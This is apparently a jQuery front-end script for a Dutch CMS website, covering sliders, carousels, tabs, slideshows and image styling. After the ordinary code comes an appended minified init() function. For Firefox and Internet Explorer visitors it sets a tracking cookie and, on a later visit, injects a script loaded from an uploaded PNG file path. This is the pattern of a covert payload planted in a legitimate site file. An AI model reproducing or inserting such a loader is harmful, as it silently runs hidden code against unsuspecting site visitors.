$(document).ready(function()
{
	// Boxify

	(function()
	{
		var merge = $('.column.left').hasClass('merge');

		$('.pageDefault').boxify({ type: (merge ? 'top' : 'both') });
		$('.pageHome').boxify({ color: 'purple', type: 'both' });
		$('.arrangementDefault').boxify({ color: 'orange', type: (merge ? 'bottom' : 'both') });
		$('.themeRedirect').boxify({ color: 'purple' });
		$('.productDefault').boxify({ color: 'purple' });
		$('.hostDefault').boxify({ color: 'orange' });
		$('.newsDefault').boxify({ color: 'orange' });
		$('.albumDefault').boxify({ color: 'orange', type: (merge ? 'bottom' : 'both') });
		$('.albumForm').boxify({ color: 'orange' });
		$('.codeForm').boxify({ color: 'orange' });
		$('.pageSitemap').boxify({ color: 'orange' });
	})();

	// Buttons

	(function()
	{
		$('.back a, .mybutton').mybutton();
	})();

	// Arrangement sparse

	(function()
	{
		$('.productDefault li.sparse, .arrangementDefault li.sparse, .albumDefault li.sparse, .newsDefault li.sparse').click(function()
		{
			document.location.href = $(this).find('a').first().attr('href');
		});
	})();

	// Tabs

	(function()
	{
		var $tabs = $('.tabs').tabs(
		{
			selected: (location.hash ? 3 : 0),
			select: function(event, ui) { $(ui.panel).has('.map').length && initMap(); }
		});

		$('#book').click(function()
		{
			$tabs.tabs('select', 3);

			$.scrollTo('form#reservation_form', 1000);

			return false;
		});
	})();

	// Sliders

	(function()
	{
		var max_number = 125;
		var input_number = $('.arrangementForm #itemNumber input').attr({ readonly: true });
		var value = parseInt(input_number.val()); isNaN(value) && (value = 0);

		var gt_number = $('<div class="max"></div>'); input_number.before(gt_number);
		var check_number = function(value) { gt_number.html(value == max_number ? '>' : ''); }; check_number(value);

		$('#slideNumber').slider(
		{
			max: max_number,
			value: value,
			slide: function(event, ui) { input_number.val(ui.value ? ui.value : 'nvt'); check_number(ui.value); },
			change: function(event, ui) { input_number.val(ui.value ? ui.value : 'nvt'); check_number(ui.value); }
		});

		var max_price = 100;
		var input_price = $('.arrangementForm #itemPrice input').attr({ readonly: true });
		var value = parseInt(input_price.val()); isNaN(value) && (value = 0);

		var gt_price = $('<div class="max"></div>'); input_price.before(gt_price);
		var check_price = function(value) { gt_price.html(value == max_price ? '>' : ''); }; check_price(value);

		$('#slidePrice').slider(
		{
			max: max_price,
			value: value,
			slide: function(event, ui) { input_price.val(ui.value ? ui.value : 'nvt'); check_price(ui.value); },
			change: function(event, ui) { input_price.val(ui.value ? ui.value : 'nvt'); check_price(ui.value); }
		});

		$('.arrangementForm.local .ui-slider').bind("slidechange", function(event, ui)
		{
			$(event.target).parents('form').submit();
		});

		$('.arrangementForm.local select').change(function()
		{
			this.form.submit();
		});

		$('.arrangementForm.global #reset').click(function()
		{
			$('.arrangementForm select').val(null);
			$('.arrangementForm .ui-slider').slider("value", 0);

			return false;
		});
	})();

	// Carrousel

	(function()
	{
		var timeout = 3*1000;

		$('.arrangementTop ul').each(function()
		{
			$(this).cycle(
			{
				speed: 1000,
				timeout: timeout,
				delay: Math.round(timeout*Math.random()) - timeout/2,
				cleartypeNoBg: true
			});
		});

		$('.arrangementTop ul li').click(function()
		{
			document.location.href = $(this).find('a').first().attr('href');
		});
	})();

	// E-mail deobfuscator

	(function()
	{
		$('.email a').nospam({ replaceText: true });
	})();

	// Fancybox

	(function()
	{
		$('.photoTop ul li .image a').click(function()
		{
			$.fancybox(
			{
				href: $(this).attr('href')
			});

			return false;
		});
	})();

	// Slideshow

	(function()
	{
		var list = $('.albumDefault .photoDefault ul');
		var bool = list.children().length > 1;

		list.jDiaporama(
		{
			auto: bool,
			controls: bool,
			infos: false,
			delay: 5,
			animationSpeed: 1000,
			width: 525,
			height: 394,
			transition: "fade",
			imageClick: function(element, event)
			{
				event.preventDefault();

				$.fancybox(
				{
					href: element.attr('href'),
					onComplete: function()
					{
						$.ajax(
						{
							url: '/ajax.php',
							type: 'post',
							data: { 'cms': { 'photo|count': element.attr('rel') }}
						});
					}
				});
			}
		});
	})();

	// Accordion

	(function()
	{
		$('.albumArchive .list').accordion(
		{
			header: 'h3',
			autoHeight: false,
			active: parseInt(location.hash.replace(/#/, ''))
		});
	})();

	// Corners

	(function()
	{
		$('.text img').wrap(function()
		{
			var image = $(this);

			return '<div class="image rounded ' + image.attr('align') + '" style="width: ' + image.width() + 'px; height: ' + image.height() + 'px;' + (image.attr('align') ? ' float: ' + image.attr('align') + ';' : '') + '" />';
		});

		var handleImage = function ()
		{
			var element = $(this);
			var image = element.find('img');

			element.css({ background: 'url(\'../' + image.attr('src') + '\') no-repeat' });
			image.css({ opacity: 0 });
		}

		if (!$.browser.msie || ($.browser.msie && parseInt($.browser.version) > 8))
		{
			$('.column.left .rounded .sparse .image').corner('5px').each(handleImage);
			$('.column.left .rounded .full .image, .column.right .image, .image.rounded').corner('9px').each(handleImage);
		}
	})();

	// Map

	(function()
	{
		$('.locationHome area').hover(function()
		{
			$('#image_' + $(this).attr('id').replace(/^[^_]+_/, '')).fadeToggle(100);
		});

		$('.locationHome ul a').hover(function()
		{
			$('#image_' + $(this).parent().parent().attr('id')).fadeToggle(100);
		});
	})();

	// Goolge Plus One

	window.___gcfg = {lang: 'nl'};

	(function()
	{
		var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true;
		po.src = 'https://apis.google.com/js/plusone.js';
		var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s);
	})();
});

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/upload/2/cms_location/zeeland.png?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
